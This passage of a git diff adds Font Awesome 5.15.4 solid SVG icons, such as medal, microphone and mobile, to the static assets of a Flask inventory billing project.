0-357.57 384-158.46 384 39.9 0 77.47-20.69 101.42-55.86l25.73-37.79c15.66-22.99 46.97-22.99 62.63 0l25.73 37.79C401.66 427.31 439.23 448 479.13 448c189.86 0 290.63-384-158.46-384zM184 308.36c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05zm272 0c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/medal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/medal.svg new file mode 100644 index 00000000..3d5f5fa3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/medal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M223.75 130.75L154.62 15.54A31.997 31.997 0 0 0 127.18 0H16.03C3.08 0-4.5 14.57 2.92 25.18l111.27 158.96c29.72-27.77 67.52-46.83 109.56-53.39zM495.97 0H384.82c-11.24 0-21.66 5.9-27.44 15.54l-69.13 115.21c42.04 6.56 79.84 25.62 109.56 53.38L509.08 25.18C516.5 14.57 508.92 0 495.97 0zM256 160c-97.2 0-176 78.8-176 176s78.8 176 176 176 176-78.8 176-176-78.8-176-176-176zm92.52 157.26l-37.93 36.96 8.97 52.22c1.6 9.36-8.26 16.51-16.65 12.09L256 393.88l-46.9 24.65c-8.4 4.45-18.25-2.74-16.65-12.09l8.97-52.22-37.93-36.96c-6.82-6.64-3.05-18.23 6.35-19.59l52.43-7.64 23.43-47.52c2.11-4.28 6.19-6.39 10.28-6.39 4.11 0 8.22 2.14 10.33 6.39l23.43 47.52 52.43 7.64c9.4 1.36 13.17 12.95 6.35 19.59z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/medkit.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/medkit.svg new file mode 100644 index 00000000..2cc99def --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/medkit.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 480h320V128h-32V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v48H96v352zm96-384h128v32H192V96zm320 80v256c0 26.51-21.49 48-48 48h-16V128h16c26.51 0 48 21.49 48 48zM64 480H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v352zm288-208v32c0 8.837-7.163 16-16 16h-48v48c0 8.837-7.163 16-16 16h-32c-8.837 0-16-7.163-16-16v-48h-48c-8.837 0-16-7.163-16-16v-32c0-8.837 7.163-16 16-16h48v-48c0-8.837 7.163-16 16-16h32c8.837 0 16 7.163 16 16v48h48c8.837 0 16 7.163 16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meh-blank.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meh-blank.svg new file mode 100644 index 00000000..5b3c03fc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meh-blank.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meh-rolling-eyes.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meh-rolling-eyes.svg new file mode 100644 index 00000000..0c2297cf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meh-rolling-eyes.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 224c0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64s-64-28.7-64-64zm224 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-112c-35.3 0-64-28.7-64-64 0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meh.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meh.svg new file mode 100644 index 00000000..ec15b080 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meh.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm176 192H152c-21.2 0-21.2-32 0-32h192c21.2 0 21.2 32 0 32zm-16-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/memory.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/memory.svg new file mode 100644 index 00000000..311a65ea --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/memory.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M640 130.94V96c0-17.67-14.33-32-32-32H32C14.33 64 0 78.33 0 96v34.94c18.6 6.61 32 24.19 32 45.06s-13.4 38.45-32 45.06V320h640v-98.94c-18.6-6.61-32-24.19-32-45.06s13.4-38.45 32-45.06zM224 256h-64V128h64v128zm128 0h-64V128h64v128zm128 0h-64V128h64v128zM0 448h64v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h64v-96H0v96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/menorah.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/menorah.svg new file mode 100644 index 00000000..49e79bf6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/menorah.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M144 128h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm192 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm80-32c17.67 0 32-14.33 32-32S608 0 608 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S512 0 512 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S416 0 416 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S320 0 320 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S224 0 224 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S128 0 128 0 96 46.33 96 64s14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S32 0 32 0 0 46.33 0 64s14.33 32 32 32zm544 192c0 17.67-14.33 32-32 32H352V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v176H96c-17.67 0-32-14.33-32-32V144c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v144c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v144z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mercury.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mercury.svg new file mode 100644 index 00000000..1c92e221 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mercury.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 288 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 208c0-44.2-19.9-83.7-51.2-110.1 2.5-1.8 4.9-3.8 7.2-5.8 24.7-21.2 39.8-48.8 43.2-78.8.9-7.1-4.7-13.3-11.9-13.3h-40.5C229 0 224.1 4.1 223 9.8c-2.4 12.5-9.6 24.3-20.7 33.8C187 56.8 166.3 64 144 64s-43-7.2-58.4-20.4C74.5 34.1 67.4 22.3 64.9 9.8 63.8 4.1 58.9 0 53.2 0H12.7C5.5 0-.1 6.2.8 13.3 4.2 43.4 19.2 71 44 92.2c2.3 2 4.7 3.9 7.2 5.8C19.9 124.3 0 163.8 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meteor.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meteor.svg new file mode 100644 index 00000000..0fb29923 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/meteor.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M511.328,20.8027c-11.60759,38.70264-34.30724,111.70173-61.30311,187.70077,6.99893,2.09372,13.4042,4,18.60653,5.59368a16.06158,16.06158,0,0,1,9.49854,22.906c-22.106,42.29635-82.69047,152.795-142.47819,214.40356-.99984,1.09373-1.99969,2.5-2.99954,3.49995A194.83046,194.83046,0,1,1,57.085,179.41009c.99985-1,2.40588-2,3.49947-3,61.59994-59.90549,171.97367-120.40473,214.37343-142.4982a16.058,16.058,0,0,1,22.90274,9.49988c1.59351,5.09368,3.49947,11.5936,5.5929,18.59351C379.34818,35.00565,452.43074,12.30281,491.12794.70921A16.18325,16.18325,0,0,1,511.328,20.8027ZM319.951,320.00207A127.98041,127.98041,0,1,0,191.97061,448.00046,127.97573,127.97573,0,0,0,319.951,320.00207Zm-127.98041-31.9996a31.9951,31.9951,0,1,1-31.9951-31.9996A31.959,31.959,0,0,1,191.97061,288.00247Zm31.9951,79.999a15.99755,15.99755,0,1,1-15.99755-15.9998A16.04975,16.04975,0,0,1,223.96571,368.00147Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microchip.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microchip.svg new file mode 100644 index 00000000..0f5f58b0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microchip.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 48v416c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h224c26.51 0 48 21.49 48 48zm96 58v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42V88h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zM30 376h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone-alt-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone-alt-slash.svg new file mode 100644 index 00000000..c65f4310 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone-alt-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M633.82 458.1L476.26 336.33C488.74 312.21 496 284.98 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67h-43.67l-41.4-32H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.78c11.71-1.62 23.1-4.28 33.96-8.08l-50.4-38.96c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone-alt.svg new file mode 100644 index 00000000..5d6a27d0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 352 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 192h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16zM176 352c53.02 0 96-42.98 96-96h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone-slash.svg new file mode 100644 index 00000000..0a91d311 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M633.82 458.1l-157.8-121.96C488.61 312.13 496 285.01 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67V96c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.77c11.66-1.6 22.85-4.54 33.67-8.31l-50.11-38.73c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone.svg new file mode 100644 index 00000000..8da53a4a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microphone.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 352 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M176 352c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96zm160-160h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microscope.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microscope.svg new file mode 100644 index 00000000..1d678751 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/microscope.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M160 320h12v16c0 8.84 7.16 16 16 16h40c8.84 0 16-7.16 16-16v-16h12c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32V16c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v16c-17.67 0-32 14.33-32 32v224c0 17.67 14.33 32 32 32zm304 128h-1.29C493.24 413.99 512 369.2 512 320c0-105.88-86.12-192-192-192v64c70.58 0 128 57.42 128 128s-57.42 128-128 128H48c-26.51 0-48 21.49-48 48 0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48zm-360-32h208c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8H104c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/minus-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/minus-circle.svg new file mode 100644 index 00000000..f41dc779 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/minus-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zM124 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H124z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/minus-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/minus-square.svg new file mode 100644 index 00000000..b93336bb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/minus-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM92 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H92z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/minus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/minus.svg new file mode 100644 index 00000000..8a43aa3e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/minus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 208H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mitten.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mitten.svg new file mode 100644 index 00000000..e627a92a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mitten.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M368 416H48c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16zm57-209.1c-27.2-22.6-67.5-19-90.1 8.2l-20.9 25-29.6-128.4c-18-77.5-95.4-125.9-172.8-108C34.2 21.6-14.2 98.9 3.7 176.4L51.6 384h309l72.5-87c22.7-27.2 19-67.5-8.1-90.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mobile-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mobile-alt.svg new file mode 100644 index 00000000..fac3ac5b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mobile-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm112-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v312z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mobile.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mobile.svg new file mode 100644 index 00000000..f06e1c6e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mobile.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - 